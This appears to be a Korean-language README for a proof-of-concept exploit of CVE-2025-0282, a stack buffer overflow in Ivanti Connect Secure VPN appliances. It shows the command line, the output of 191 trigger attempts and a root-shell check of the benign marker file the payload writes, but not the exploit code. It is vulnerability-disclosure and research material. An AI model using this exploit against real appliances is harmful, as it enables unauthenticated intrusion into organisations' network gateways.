
PoC for CVE-2025-0282: Ivanti Connect Secure, Ivanti Policy Secure 및 ZTA 게이트웨이용 Ivanti Neurons에 영향을 미치는 원격 인증되지 않은 스택 기반 버퍼 오버플로
Ivanti Connect Secure, Ivanti Policy Secure 및 ZTA 게이트웨이용 Ivanti Neurons에 영향을 주는 원격 비인증 스택 기반 버퍼 오버플로
이것은 CVE-2025-0282의 악용을 시연하기 위한 개념 증명 익스플로잇이며, watchTowr가 공개한 악용 전략을 기반으로 합니다.
이 PoC는 Ivanti Connect Secure 22.7r2.4를 대상으로 구축된 ROP 체인을 포함합니다. 해당 대상 버전에 맞는 ROP 체인을 먼저 구축하지 않으면 다른 버전을 대상으로 삼을 수 없습니다.
이 PoC에는 대상 시스템에 임시 파일을 생성하기 위해 운영 체제 명령을 실행하는 페이로드가 포함되어 있습니다. 이것으로 익스플로잇이 성공했는지 알 수 있습니다. 코드 실행은 루트가 아닌 사용자 nr의 권한으로 수행됩니다.
다음과 같이 취약한 Ivanti Connect Secure 대상(버전 22.7r2.4)에 대해 이 스크립트를 실행할 수 있습니다:
C:\Users\sfewer\Desktop\CVE-2025-0282>ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
[+] Targeting 192.168.86.111:443
[+] Detected version 22.7.2.3597
[2025-01-16 14:39:56 +0000] Starting...
[2025-01-16 14:39:56 +0000] Triggering #1...
[2025-01-16 14:39:57 +0000] Triggering #2...
[2025-01-16 14:40:08 +0000] Triggering #3...
[2025-01-16 14:40:19 +0000] Triggering #4...
[2025-01-16 14:40:30 +0000] Triggering #5...
...snip...
[2025-01-16 15:13:28 +0000] Triggering #188...
[2025-01-16 15:13:38 +0000] Triggering #189...
[2025-01-16 15:13:49 +0000] Triggering #190...
[2025-01-16 15:14:00 +0000] Triggering #191...
익스플로잇이 성공하면 /var/tmp/ 임시 디렉터리에 새 파일을 쓰며, 파일 이름의 일부로 익스플로잇 시도 반복 횟수에 해당하는 숫자 값을 포함합니다.
대상 장치의 별도 루트 셸(어플라이언스를 탈옥하여 확보한)에서 익스플로잇이 성공한 시점을 확인할 수 있습니다:
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
ls: cannot access /var/tmp/hax*: No such file or directory
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
-rw-r--r-- 1 nr nr 0 Jan 16 07:10 /var/tmp/haxor_191
bash-4.2#
이 예시에서 익스플로잇이 190번의 실패한 시도를 거쳐 191번째 시도에서 성공했음을 알 수 있습니다. 따라서 이 예시에서는 이 대상에 대한 악용이 34분 만에 성공했습니다.